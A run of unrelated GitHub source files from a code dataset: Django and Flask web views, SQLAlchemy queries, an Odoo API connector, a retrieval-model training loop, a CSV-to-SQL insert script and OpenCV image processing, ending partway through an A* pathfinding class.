owner=request.user)\n except Exception:\n res['message'] = 'Failed to create new expense!'\n code = 500\n else:\n res['message'] = 'New expense successfully created'\n return JsonResponse(res, status=code)","repo_name":"edgarmuyomba/simple_expense_tracker","sub_path":"core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"72893994636","text":"from db.setupDb import Doctor\nfrom sqlalchemy import or_, and_\nfrom queries.user import add_user\n\ndef toggle_doctor_by_id(id, session, access):\n doctor = session.query(Doctor).filter_by(id=id).first()\n doctor.has_access = access\n session.commit()\n\n doctor = {\n \"id\": doctor.id,\n \"name\": doctor.name,\n \"email\": doctor.email,\n \"access\": doctor.has_access\n }\n return doctor\n\ndef get_doctors(session, limit, search):\n doctors = []\n if search is not '':\n res = session.query(Doctor).filter(and_(or_(Doctor.name.like(search), Doctor.email.like(search))), Doctor.has_access==True).limit(limit).all()\n\n else:\n res = session.query(Doctor).filter(Doctor.has_access==True).limit(limit).all()\n\n for row in res:\n doctor = {\n \"id\": row.id,\n \"name\": row.name,\n \"email\": row.email,\n \"access\": row.has_access\n }\n doctors.append(doctor)\n \n return doctors\n \ndef add_doctor(session, name, email, access):\n doctor = Doctor(name=name, email=email, has_access=access)\n session.add(doctor)\n session.commit()\n new_doctor = {\n \"id\": doctor.id,\n \"name\": doctor.name,\n \"email\": doctor.email,\n \"access\": doctor.has_access\n }\n \n add_user(session=session, display_name=name, email=email, role='doctor', doctor_id=doctor.id)\n return new_doctor","repo_name":"hippolyt/corona-atlas","sub_path":"backend/queries/doctor.py","file_name":"doctor.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"} +{"seq_id":"23785034425","text":"import os\n\nfrom .leetcode import LeetcodeAPI\nfrom .leetcode_utils import (\n problem_url_parse,\n problem_to_markdown\n)\nfrom utils import cd\n\nclass LeetcodeCLI:\n \"\"\"LeetCode CLI\"\"\"\n\n def __init__ (self):\n self._api = LeetcodeAPI()\n \n async def clone (self, url: str, *, path: str = '.') -> None:\n \"\"\"Clone a LeetCode Problem\n :param str url: (required) problem url (example: https://leetcode.com/problems/two-sum/)\n :param str path: (optional) path (default is current working directory)\n :raises ValueError: invalid url\n \"\"\"\n \n parsed_url = problem_url_parse(url)\n problem = await self._api.question_data(slug = parsed_url.slug)\n\n with cd(path):\n filename = f'{problem.frontend_id}-{problem.slug}.md'\n with open(filename, 'w') as file:\n file.write(problem_to_markdown(problem))\n","repo_name":"a-r-r-o-w/cpt","sub_path":"src/api/leetcode/leetcode_cli.py","file_name":"leetcode_cli.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"9714559109","text":"import requests\nfrom dataclasses import dataclass\nfrom typing import Dict, Any, NoReturn\nfrom odoo import models, _, SUPERUSER_ID\nfrom odoo.exceptions import UserError\nfrom odoo.tools import ustr\n\nAPI_ROUTES = {\n 'GetToken': '/v2/user/Login',\n 'GetTokenLongTerm': '/v2/user/ownerconnect',\n 'SyncProvinces': '/v2/categories/listProvinceById?provinceId=-1',\n 'SyncDistricts': '/v2/categories/listDistrict?provinceId=-1',\n 'SyncWards': '/v2/categories/listWards?districtId=-1'\n}\n\n\n@dataclass\nclass SPPConnection:\n spp_config: models\n\n @staticmethod\n def _build_header(func_name: str, token: str) -> Dict[str, Any]:\n header = {'Content-Type': 'application/json'}\n if func_name != 'GetToken':\n header.update({'Token': token})\n return header\n\n @staticmethod\n def _validate_func_name(func_name: str) -> NoReturn:\n if func_name not in API_ROUTES:\n raise UserError(_(f'The routes {func_name} not found.'))\n\n def execute_restful(self, func_name, method, *args, **kwargs):\n self._validate_func_name(func_name)\n try:\n header = self._build_header(func_name, self.spp_config.token)\n endpoint = self.spp_config.host + API_ROUTES[func_name].format(*args)\n if method == 'POST':\n response = requests.post(endpoint, json=kwargs, headers=header, timeout=300)\n elif method == 'GET':\n response = requests.get(endpoint, headers=header, timeout=300)\n else:\n raise UserError(_('The method invalid'))\n response.raise_for_status()\n result = response.json()\n if response.status_code != 200:\n raise UserError(_(f'Request Name {func_name} error.'))\n return result\n except Exception as e:\n raise UserError(ustr(e))\n","repo_name":"Odoo-Tangerine/odoo_smart_parking","sub_path":"smart_parking/api/spp_connection.py","file_name":"spp_connection.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"26304604177","text":"from src.map import MBTAMap\nfrom src.route import Route\nfrom src.stop import Stop\nfrom src.line import Line\n\ndef build_map(mbta_api, fetch_stops=True, use_lines=False):\n route_json = mbta_api.routes()\n stops = {}\n lines = {}\n\n if fetch_stops:\n for route_data in route_json:\n stops[route_data['id']] = [Stop(stop_data) for stop_data in mbta_api.stops(route_data['id'])]\n if use_lines:\n line_ids = set([route_data['relationships']['line']['data']['id'] for route_data in route_json])\n lines = {line_id: Line(mbta_api.line(line_id)) for line_id in line_ids}\n\n routes = []\n for route_data in route_json:\n route_stops = stops.get(route_data['id'], [])\n route_line = lines.get(route_data['relationships']['line']['data']['id'])\n routes.append(Route(route_data, route_stops, route_line, use_lines))\n return MBTAMap(routes)\n","repo_name":"patsmad/mbta","sub_path":"src/map_builder.py","file_name":"map_builder.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"2275073503","text":"class Solution:\n def sortedSquares(self, A: List[int]) -> List[int]:\n # s=0\n # e=len(nums)-1\n # r=[0]*len(nums)\n # n=e\n # for i in range(len(nums)):\n # f=nums[s]*nums[s]\n # k=nums[n]*nums[n]\n # if f>k:\n # r[e]=f\n # s+=1\n # else:\n # r[e]=k\n # n=n-1\n # e=e-1\n # #print(r)\n # return r\n \n result = [0]*len(A)\n left, right = 0, len(A) - 1\n for index in range(len(A)-1, -1, -1):\n if abs(A[left]) > abs(A[right]):\n result[index] = A[left] ** 2\n left += 1\n else:\n result[index] = A[right] ** 2\n right -= 1\n return result","repo_name":"harsha-vardhan-ch/Leetcode","sub_path":"squares-of-a-sorted-array/squares-of-a-sorted-array.py","file_name":"squares-of-a-sorted-array.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"8548175027","text":"from __future__ import annotations\n\nimport collections\nimport dataclasses\nimport functools\nimport multiprocessing as mp\nimport pathlib\nimport time\nimport typing\nfrom multiprocessing.managers import DictProxy\n\nimport lightning as L\nimport numpy as np\nimport rich\nimport torch\nimport transformers\nfrom lightning.fabric import wrappers as fabric_wrappers\nfrom loguru import logger\nfrom rich import progress\nfrom torch.utils import data as torch_data\nfrom vod_tools import dstruct, pipes\nfrom vod_tools.misc.progress import IterProgressBar\nfrom vod_workflows.utils import helpers, io\n\nfrom src import vod_configs, vod_dataloaders, vod_datasets, vod_models, vod_search\n\nK = typing.TypeVar(\"K\")\n\n\nclass OnFirstBatchCallback(typing.Protocol):\n \"\"\"A callback that is called on the first batch of the first epoch.\"\"\"\n\n def __call__(self, fabric: L.Fabric, batch: dict[str, torch.Tensor], ranker: vod_models.Ranker) -> None:\n \"\"\"Do some stuff.\"\"\"\n ...\n\n\n@dataclasses.dataclass(frozen=True)\nclass RetrievalTask:\n \"\"\"Holds the train and validation datasets.\"\"\"\n\n train_questions: helpers.DsetWithVectors\n val_questions: helpers.DsetWithVectors\n sections: helpers.DsetWithVectors\n\n\ndef index_and_train(\n *,\n ranker: vod_models.Ranker,\n optimizer: torch.optim.Optimizer,\n scheduler: typing.Optional[torch.optim.lr_scheduler._LRScheduler] = None,\n trainer_state: helpers.TrainerState,\n fabric: L.Fabric,\n train_factories: dict[K, vod_datasets.DatasetFactory],\n val_factories: dict[K, vod_datasets.DatasetFactory],\n vectors: dict[K, None | helpers.PrecomputedDsetVectors],\n tokenizer: transformers.PreTrainedTokenizer | transformers.PreTrainedTokenizerFast,\n search_config: vod_configs.SearchConfig,\n collate_config: vod_configs.RetrievalCollateConfig,\n train_dataloader_config: vod_configs.DataLoaderConfig,\n eval_dataloader_config: vod_configs.DataLoaderConfig,\n dl_sampler: typing.Optional[vod_dataloaders.SamplerFactory] = None,\n cache_dir: pathlib.Path,\n serve_on_gpu: bool = False,\n checkpoint_path: typing.Optional[str] = None,\n on_first_batch_fn: typing.Optional[OnFirstBatchCallback] = None,\n pbar_keys: typing.Optional[list[str]] = None,\n) -> helpers.TrainerState:\n \"\"\"Index the sections and train the ranker.\"\"\"\n barrier_fn = functools.partial(helpers.barrier_fn, fabric=fabric)\n\n # Gather datasets and their corresponding vectors\n task = _make_retrieval_task(\n train_factories=train_factories,\n val_factories=val_factories,\n vectors=vectors,\n )\n if fabric.is_global_zero:\n rich.print(task)\n\n # parameters\n parameters = mp.Manager().dict()\n parameters.update(trainer_state.get_parameters())\n\n # free GPU resources see: https://github.com/Lightning-AI/lightning/issues/17937\n # if helpers.is_engine_enabled(parameters, \"faiss\"):\n # ranker.to(\"cpu\")\n\n barrier_fn(\"Init search engines..\")\n with vod_search.build_multi_search_engine(\n sections=task.sections.data,\n vectors=task.sections.vectors,\n config=search_config,\n cache_dir=cache_dir,\n dense_enabled=helpers.is_engine_enabled(parameters, \"faiss\"),\n sparse_enabled=True,\n skip_setup=not fabric.is_global_zero,\n barrier_fn=barrier_fn,\n serve_on_gpu=serve_on_gpu,\n ) as master:\n barrier_fn(\"Initiating dataloaders\")\n search_client = master.get_client()\n\n # instantiate the dataloader\n logger.debug(\"Instantiating dataloader..\")\n init_dataloader = functools.partial(\n helpers.instantiate_retrieval_dataloader,\n sections=task.sections,\n tokenizer=tokenizer,\n search_client=search_client,\n collate_config=collate_config,\n parameters=parameters,\n dl_sampler=dl_sampler,\n )\n\n # patching dataloaders with `Fabric` methods\n train_dl, val_dl = fabric.setup_dataloaders(\n *(\n init_dataloader(**cfg) # type: ignore\n for cfg in (\n {\"questions\": task.train_questions, \"dataloader_config\": train_dataloader_config},\n {\"questions\": task.val_questions, \"dataloader_config\": eval_dataloader_config},\n )\n ),\n use_distributed_sampler=dl_sampler is None,\n move_to_device=True,\n )\n\n # train the ranker\n barrier_fn(f\"Starting training period {1+trainer_state.period}\")\n trainer_state = _training_loop(\n ranker=ranker,\n optimizer=optimizer,\n scheduler=scheduler,\n trainer_state=trainer_state,\n fabric=fabric,\n train_dl=train_dl,\n val_dl=val_dl,\n checkpoint_path=checkpoint_path,\n on_first_batch_fn=on_first_batch_fn,\n pbar_keys=pbar_keys,\n parameters=parameters,\n )\n barrier_fn(f\"Completed period {1+trainer_state.period}\")\n\n return trainer_state\n\n\ndef _training_loop( # noqa: C901, PLR0915\n *,\n ranker: vod_models.Ranker,\n optimizer: torch.optim.Optimizer,\n trainer_state: helpers.TrainerState,\n fabric: L.Fabric,\n train_dl: torch_data.DataLoader,\n val_dl: torch_data.DataLoader,\n scheduler: typing.Optional[torch.optim.lr_scheduler._LRScheduler] = None,\n checkpoint_path: None | str = None,\n on_first_batch_fn: None | OnFirstBatchCallback = None,\n pbar_keys: None | typing.List[str] = None,\n parameters: None | DictProxy = None,\n) -> helpers.TrainerState:\n _check_ranker_and_optimizer(ranker, optimizer)\n optimizer.zero_grad()\n ranker.train()\n\n if fabric.is_global_zero:\n rich.print(trainer_state)\n\n try:\n # infer the number of training and valid steps\n n_train_steps, n_val_steps = _infer_num_steps(trainer_state, fabric, val_dl)\n with IterProgressBar(disable=not fabric.is_global_zero) as pbar:\n train_pbar = pbar.add_task(\n f\"Period {1+trainer_state.period}\",\n total=n_train_steps,\n info=_pbar_info(trainer_state, keys=pbar_keys),\n )\n eval_metrics = None\n chrono = None\n local_step = 0\n max_steps = trainer_state.period_max_steps or trainer_state.max_steps\n while trainer_state.step < max_steps:\n for batch in train_dl:\n if trainer_state.step >= max_steps:\n break\n\n if on_first_batch_fn is not None and local_step == 0:\n on_first_batch_fn(fabric, batch, ranker)\n\n # Forward pass\n is_accumulating = (1 + local_step) % trainer_state.accumulate_grad_batches != 0\n step_metrics = ranker.gradients.forward_backward(\n batch=batch,\n fwd_fn=ranker,\n fabric=fabric,\n loss_scaler=1 / trainer_state.accumulate_grad_batches,\n no_backward_sync=is_accumulating,\n )\n\n # Log the training metrics\n if trainer_state.step % trainer_state.log_interval == 0:\n fabric.log_dict(\n metrics={\n \"trainer/epoch\": float(trainer_state.epoch),\n **{f\"train/{k.replace('.', '/')}\": v for k, v in step_metrics.items()},\n **{f\"parameter/{k}\": v for k, v in _extract_learning_rates(optimizer).items()},\n },\n step=trainer_state.step,\n )\n\n # Optimization & eval step\n if not is_accumulating:\n # Clip the gradients\n if trainer_state.gradient_clip_val is not None:\n fabric.clip_gradients(ranker, optimizer, max_norm=trainer_state.gradient_clip_val)\n\n # Run an optimization step, reset the gradients and update the learning rate\n optimizer.step()\n optimizer.zero_grad()\n if scheduler is not None:\n scheduler.step()\n\n # Update the chrono, the trainer state and the progress bar\n if chrono is not None:\n chrono.stop()\n trainer_state.step += 1\n\n # Update the parameters\n if parameters is not None:\n parameters.update(trainer_state.get_parameters())\n\n # Update the progress bar\n pbar.update(\n train_pbar,\n advance=1,\n speed=chrono.get_avg_laps_per_second() if chrono is not None else None,\n info=_pbar_info(\n trainer_state,\n train_metrics=step_metrics,\n eval_metrics=eval_metrics,\n keys=pbar_keys,\n ),\n )\n\n # Validation\n if (1 + trainer_state.step) % trainer_state.val_check_interval == 0:\n optimizer.zero_grad()\n eval_metrics = _validation_loop(\n ranker=ranker,\n fabric=fabric,\n trainer_state=trainer_state,\n val_dl=val_dl,\n n_steps=n_val_steps,\n pbar=pbar,\n )\n if checkpoint_path is not None:\n io.save_training_state(\n checkpoint_path=checkpoint_path,\n fabric=fabric,\n model=ranker,\n optimizer=optimizer,\n scheduler=scheduler,\n trainer_state=trainer_state,\n )\n\n # start the chono\n if chrono is None:\n chrono = Chrono()\n chrono.start()\n\n local_step += 1\n trainer_state.epoch += 1\n except KeyboardInterrupt:\n logger.warning(\n f\"Training period {1+trainer_state.period} (step={trainer_state.step}) \"\n f\"interrupted by user (KeyboardInterrupt).\"\n )\n\n optimizer.zero_grad()\n\n # Save and Synch the model parameters\n if checkpoint_path is not None:\n logger.info(\"End of period. Saving and re-loading model from checkpoint (parameter sync).\")\n io.save_training_state(\n checkpoint_path=checkpoint_path,\n fabric=fabric,\n model=ranker,\n optimizer=optimizer,\n scheduler=scheduler,\n trainer_state=trainer_state,\n )\n io.load_training_state(\n checkpoint_path=checkpoint_path,\n fabric=fabric,\n model=ranker,\n )\n logger.info(f\"End of period. Model hash: `{pipes.fingerprint_torch_module(None, ranker)}`\")\n return trainer_state\n\n\ndef _check_ranker_and_optimizer(ranker: vod_models.Ranker, optimizer: torch.optim.Optimizer) -> None:\n if not fabric_wrappers.is_wrapped(ranker):\n raise RuntimeError(\"Ranker must be wrapped by lightning `Fabric`.\")\n if not fabric_wrappers.is_wrapped(optimizer):\n raise RuntimeError(\"Optimizer must be wrapped by lightning `Fabric`.\")\n\n\ndef _infer_num_steps(\n trainer_state: helpers.TrainerState,\n fabric: L.Fabric,\n val_dl: torch_data.DataLoader,\n) -> tuple[int, int]:\n max_steps = trainer_state.period_max_steps or trainer_state.max_steps\n n_train_steps = max_steps - trainer_state.step\n if trainer_state.n_max_eval is None:\n n_val_steps = len(val_dl)\n else:\n eff_eval_bs = fabric.world_size * val_dl.batch_size # type: ignore\n n_val_steps = min(len(val_dl), max(1, -(-trainer_state.n_max_eval // eff_eval_bs)))\n return n_train_steps, n_val_steps\n\n\n@torch.no_grad()\ndef _validation_loop(\n ranker: vod_models.Ranker,\n fabric: L.Fabric,\n trainer_state: helpers.TrainerState,\n val_dl: torch_data.DataLoader,\n n_steps: int,\n pbar: progress.Progress,\n) -> dict[str, float | torch.Tensor]:\n ranker.eval()\n val_pbar = pbar.add_task(\"Validation\", total=n_steps, info=f\"{n_steps} steps\")\n metrics = collections.defaultdict(list)\n for i, batch in enumerate(val_dl):\n output = ranker(batch, mode=\"evaluate\")\n pbar.update(val_pbar, advance=1, taskinfo=_pbar_info(trainer_state, output))\n for k, v in output.items():\n metrics[k].append(_format_metric(v))\n if i >= n_steps:\n break\n\n # aggregate metrics\n metrics = {k: np.mean(v) for k, v in metrics.items()}\n\n # log metrics\n fabric.log_dict(\n metrics={f\"val/{k.replace('.', '/')}\": v for k, v in metrics.items()},\n step=trainer_state.step,\n )\n\n pbar.remove_task(val_pbar)\n ranker.train()\n return dict(metrics)\n\n\ndef _format_metric(v: typing.Any) -> typing.Any: # noqa: ANN401\n if isinstance(v, torch.Tensor):\n return v.detach().mean().cpu()\n\n return v\n\n\nclass Chrono:\n \"\"\"A simple chronometer.\"\"\"\n\n _laps: list[tuple[float, float]]\n _start_time: typing.Optional[float]\n\n def __init__(self, buffer_size: int = 100) -> None:\n self._laps = []\n self._start_time = None\n self.buffer_size = buffer_size\n\n def reset(self) -> \"Chrono\":\n \"\"\"Reset the chrono.\"\"\"\n self._laps = []\n self._start_time = None\n return self\n\n def start(self) -> \"Chrono\":\n \"\"\"Start the chrono.\"\"\"\n self._start_time = time.perf_counter()\n return self\n\n def stop(self) -> \"Chrono\":\n \"\"\"Stop the chrono.\"\"\"\n if self._start_time is None:\n raise RuntimeError(\"Chrono is not running\")\n curr_time = time.perf_counter()\n self._laps.append((self._start_time, curr_time))\n if len(self._laps) > self.buffer_size:\n self._laps.pop(0)\n self._start_time = None\n return self\n\n def get_total_time(self) -> float:\n \"\"\"Return the total time elapsed since the chrono was started.\"\"\"\n return sum(end - start for start, end in self._laps)\n\n def get_avg_time(self) -> float:\n \"\"\"Return the average time elapsed since the chrono was started.\"\"\"\n return self.get_total_time() / len(self._laps)\n\n def get_avg_laps_per_second(self) -> float:\n \"\"\"Return the average number of laps per second.\"\"\"\n return len(self._laps) / self.get_total_time()\n\n\ndef _extract_learning_rates(optimizer: torch.optim.Optimizer) -> dict[str, float]:\n return {f\"lr_{i}\": param_group[\"lr\"] for i, param_group in enumerate(optimizer.param_groups)}\n\n\ndef _pbar_info(\n state: helpers.TrainerState,\n train_metrics: typing.Optional[dict[str, typing.Any]] = None,\n eval_metrics: typing.Optional[dict[str, typing.Any]] = None,\n keys: typing.Optional[list[str]] = None,\n) -> str:\n keys = keys or [\"loss\"]\n desc = (\n f\"{1+state.step}/{state.period_max_steps} ({state.max_steps}) \"\n f\"• epoch={1+state.epoch} \"\n f\"• grad-acc={state.accumulate_grad_batches}\"\n )\n if train_metrics or eval_metrics:\n suppl = []\n if train_metrics is not None:\n for k in keys:\n if k in train_metrics:\n suppl.append(f\"train/{k}={train_metrics[k]:.3f}\")\n\n if eval_metrics is not None:\n for k in keys:\n if k in eval_metrics:\n suppl.append(f\"val/{k}={eval_metrics[k]:.3f}\")\n\n desc = f\"[yellow]{' '.join(suppl)}[/yellow] • {desc}\"\n\n return desc\n\n\ndef _make_retrieval_task(\n train_factories: dict[K, vod_datasets.DatasetFactory],\n val_factories: dict[K, vod_datasets.DatasetFactory],\n vectors: dict[K, helpers.PrecomputedDsetVectors | None],\n) -> RetrievalTask:\n \"\"\"Create the `RetrievalTask` from the training and validation factories.\"\"\"\n\n def _vec(key: K, field: typing.Literal[\"question\", \"section\"]) -> None | dstruct.TensorStoreFactory:\n \"\"\"Safely fetch the relevant `vector` from the `PrecomputedDsetVectors` structure.\"\"\"\n x = vectors[key]\n if x is None:\n return None\n if field == \"question\":\n return x.questions\n if field == \"section\":\n return x.sections\n raise ValueError(f\"Unknown field: {field}\")\n\n return RetrievalTask(\n train_questions=helpers.concatenate_datasets(\n [\n helpers.DsetWithVectors.cast(data=factory.get_qa_split(), vectors=_vec(key, \"question\"))\n for key, factory in train_factories.items()\n ]\n ),\n val_questions=helpers.concatenate_datasets(\n [\n helpers.DsetWithVectors.cast(data=factory.get_qa_split(), vectors=_vec(key, \"question\"))\n for key, factory in val_factories.items()\n ]\n ),\n sections=helpers.concatenate_datasets(\n [\n helpers.DsetWithVectors.cast(data=factory.get_sections(), vectors=_vec(key, \"section\"))\n for key, factory in {**train_factories, **val_factories}.items()\n ]\n ),\n )\n","repo_name":"VodLM/vod","sub_path":"src/vod_workflows/training/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":17778,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"28"} +{"seq_id":"40111056075","text":"import pandas as pd\nfrom tqdm import tqdm\nimport re\n\ndef convert_to_int(value):\n return int(float(value))\n\ndef remove_special_characters(value):\n return re.sub(r'[^A-Za-z0-9]+', '', value)\n\ndf = pd.read_csv('./Chicago_Crimes_2012_to_2017.csv')\nfile = open('./insert_script.sql', 'w')\n\n# TIPO TABLE\nprimary_types = list()\nfor index, row in tqdm(df.iterrows(), total=df.shape[0], desc='Creating tipo table inserts'):\n have_null_value = row.isnull().values.any()\n if not have_null_value:\n line = \"\"\n primary_type = remove_special_characters(row['Primary Type'])\n if primary_type in primary_types:\n continue\n\n line += (\"INSERT INTO TIPO (tipoPrimario) \" \\\n \"VALUES (\"\n f'\"{primary_type}\"'\n \");\\n\")\n file.write(line)\n primary_types.append(primary_type)\n\n# LOCALIZACAO TABLE\nlocations = list()\nfor index, row in tqdm(df.iterrows(), total=df.shape[0], desc='Creating location table inserts'):\n have_null_value = row.isnull().values.any()\n if not have_null_value:\n line = \"\"\n location = remove_special_characters(row['Location'])\n if location in locations:\n continue\n\n locationDescription = remove_special_characters(row['Location Description'])\n\n line += (\"INSERT INTO LOCALIZACAO (localizacao, descricaoLocal) \" \\\n \"VALUES (\"\n f'\"{location}\",'\n f'\"{locationDescription}\"'\n \");\\n\")\n file.write(line)\n locations.append(location)\n\n# CASO TABLE\ncase_ids_list = list()\nfor index, row in tqdm(df.iterrows(), total=df.shape[0], desc='Creating case table inserts'):\n have_null_value = row.isnull().values.any()\n if not have_null_value:\n line = \"\"\n case_id = int(row['ID'])\n if case_id in case_ids_list:\n continue\n\n case_date = remove_special_characters(row['Date'])\n case_number = remove_special_characters(row['Case Number'])\n case_description = remove_special_characters(row['Description'])\n case_arrest = row['Arrest']\n case_iucr = remove_special_characters(row['IUCR'])\n case_pimary_type = remove_special_characters(row['Primary Type'])\n case_location = remove_special_characters(row['Location'])\n\n line += (\"INSERT INTO CASO (idCaso, dataCaso, numeroCaso, descricao, preso, iucr, tipoPrimario, localizacao) \" \\\n \"VALUES (\"\n f'{case_id},'\n f'\"{case_date}\",'\n f'\"{case_number}\",'\n f'\"{case_description}\",'\n f'\"{case_arrest}\",'\n f'\"{case_iucr}\",'\n f'\"{case_pimary_type}\",'\n f'\"{case_location}\"'\n \");\\n\")\n file.write(line)\n case_ids_list.append(case_id)","repo_name":"matgomes21/csv-to-sql","sub_path":"dump.py","file_name":"dump.py","file_ext":"py","file_size_in_byte":2834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"72901236556","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef local_histogram_equalization(image, window_size):\n # Obtener dimensiones de la imagen\n height, width = image.shape\n\n # Calcula el desplazamiento de la mitad del tamaño de la ventana\n half_window_size = window_size // 2\n\n # Agregar bordes a la imagen\n border_type = cv2.BORDER_REPLICATE\n image_with_border = cv2.copyMakeBorder(\n image,\n half_window_size,\n half_window_size,\n half_window_size,\n half_window_size,\n border_type,\n )\n\n # Crear una copia de la imagen para almacenar el resultado\n result_image = np.copy(image)\n\n for y in range(half_window_size, height + half_window_size):\n for x in range(half_window_size, width + half_window_size):\n # Definir las coordenadas de la ventana\n y_start = y - half_window_size\n y_end = y + half_window_size + 1\n x_start = x - half_window_size\n x_end = x + half_window_size + 1\n\n # Extraer la ventana de la imagen con bordes\n window = image_with_border[y_start:y_end, x_start:x_end]\n\n # Aplicar ecualización de histograma local usando cv2.equalizeHist\n window_equalized = cv2.equalizeHist(window)\n\n # Asignar la ventana ecualizada al resultado\n result_image[y - half_window_size, x - half_window_size] = window_equalized[\n half_window_size, half_window_size\n ]\n\n return result_image\n\n\n# Cargar la imagen\nimage = cv2.imread(\"img/Imagen_con_detalles_escondidos.tif\", cv2.IMREAD_GRAYSCALE)\n\n# Tamaño de la ventana de procesamiento (ajustar según sea necesario)\nwindow_size = 21\n\n# Aplicar la ecualización local del histograma con umbral\nequalized_image = local_histogram_equalization(image, window_size)\n\n# Eliminar ruido\nresult_image = cv2.medianBlur(equalized_image, 3)\n\n# Mostrar la imagen original y la imagen procesada\nfig, axs = plt.subplots(1, 3, figsize=(10, 4), sharex=True, sharey=True)\nfig.suptitle(\"Ecualización local de histograma\")\naxs[0].imshow(image, cmap=\"gray\")\naxs[0].set_title(\"Imagen Original\")\naxs[1].imshow(equalized_image, cmap=\"gray\")\naxs[1].set_title(\"Imagen Ecualizada\")\naxs[2].imshow(result_image, cmap=\"gray\")\naxs[2].set_title(\"Imagen Suavizada\")\nfig.tight_layout()\nfig.show()\n","repo_name":"wgnr/tuia-ia4.4-procesamiento-de-imagenes-1","sub_path":"EJ1.py","file_name":"EJ1.py","file_ext":"py","file_size_in_byte":2348,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"73508001035","text":"\nimport sqlalchemy as sa\nimport pymysql\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\nfrom contextlib import contextmanager\n\npymysql.install_as_MySQLdb()\nBase = declarative_base()\n\n\nclass Box(Base):\n\n __tablename__ = \"tb_box\"\n\n id = sa.Column(\"id\", sa.Integer, primary_key=True)\n serial_num = sa.Column(\"sn\", sa.String(50), nullable=False)\n\n def __repr__(self) -> str:\n return f\"Box(id:{self.id}, serial_num:{self.serial_num})\"\n\n def __str__(self) -> str:\n return repr(self)\n\ndb = sa.create_engine(\"mysql://xy:123456789@127.0.0.1:3306/test?charset=utf8mb4\", echo=True)\nSession = sessionmaker(bind=db)\ns = Session()\n\n@contextmanager\ndef session_scope():\n s = Session()\n try:\n yield s\n except Exception as e:\n s.rollback()\n\n\ndef main():\n Base.metadata.create_all(db)\n box = s.query(Box).filter_by(id=3).with_for_update(nowait=True, read=True, of=Box).one()\n print(box)\n\n\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"firefirer1983/sqlalchemy-ground-up","sub_path":"insert_lock_test.py","file_name":"insert_lock_test.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"17150539476","text":"from pydub import AudioSegment\nfrom flask import Flask, request\nfrom flask_cors import CORS\nfrom db_connect import DB\nfrom pprint import pprint\nfrom audio_process import subs_to_dict, split_actor\nfrom audio_model import load_model, file2srt\nimport base64\nimport io\nimport os\nimport uuid\n\napp = Flask(__name__, static_folder=\"..\\\\frontend\\\\build\",\n static_url_path=\"/\")\n# db = DB()\nPATH_TO_MODEL = \"pretrain.pt\"\nmodel = load_model(PATH_TO_MODEL)\n\nCORS(app, origins=[\"*\"])\napp.config['SECRET_KEY'] = '47d3eec7d3d30885d432c2b95c31f12fc9cf4742'\n\nALLOWED_EXTENSIONS = set(['.wav'])\n\n\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n\ndef b64_to_audio(b64_string):\n binary = base64.b64decode(b64_string)\n return AudioSegment.from_file(io.BytesIO(binary))\n\n\ndef audio_to_b64(audio_seg):\n b64_string = None\n audio_seg.export(\"out.wav\")\n with open(\"out.wav\", \"rb\") as f:\n b64_string = base64.b64encode(f.read()).decode()\n return 'data:audio/wav;base64,' + b64_string\n\n\ndef gen_tmp_name():\n return uuid.uuid4()\n\n\n@app.route(\"/\")\ndef index():\n # return \"

Hello World!

\"\n return app.send_static_file(\"index.html\")\n\n\n@app.route('/api/upload', methods=['POST'])\ndef upload_file():\n audio_content = request.json['audio_data']\n # print(audio_content[:100])\n audio = b64_to_audio(audio_content.split(\",\", 1)[1])\n name = gen_tmp_name()\n audio.export(f\"{name}.wav\")\n file2srt(f\"{name}.wav\", model)\n trans_script = subs_to_dict(f\"{name}.srt\")\n aud_list = split_actor(trans_script, audio)\n os.remove(f\"{name}.wav\")\n os.remove(f\"{name}.srt\")\n result = {f\"Speaker{i+1}\": audio_to_b64(aud)\n for i, aud in enumerate(aud_list)}\n # result = {\n # \"Speaker 1\": audio_to_b64(audio[:half]),\n # \"Speaker 2\": audio_to_b64(audio[half:]),\n # }\n return {\"speakers\": result}\n\n\n# @app.route(\"/api/download/\", methods=[\"GET\"])\n# @app.route(\"/api/download/\", methods=[\"GET\"])\n# def download(id=None):\n# content = None\n# if id:\n# content = db.get_audio(id)\n# else:\n# content = db.get_audios()\n\n# if not content:\n# return \"File not found\", 404\n# return {\"status\": 200, \"content\": content}\n\n\ndef main():\n app.run(\"localhost\", 3001, debug=True)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"xXxsomebodyoncetoldmexXx/cnm","sub_path":"backend/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"9722806564","text":"from warnings import warn\nimport heapq\nfrom math import exp\n\nclass No:\n def __init__(self, posicao=None, pai=None):\n self.posicao = posicao\n self.pai = pai\n self.g = 0\n self.h = 0\n self.f = 0\n\n def __eq__(self, other):\n return self.posicao == other.posicao\n\n def __lt__(self, other):\n return self.f < other.f\n\n def __gt__(self, other):\n return self.f > 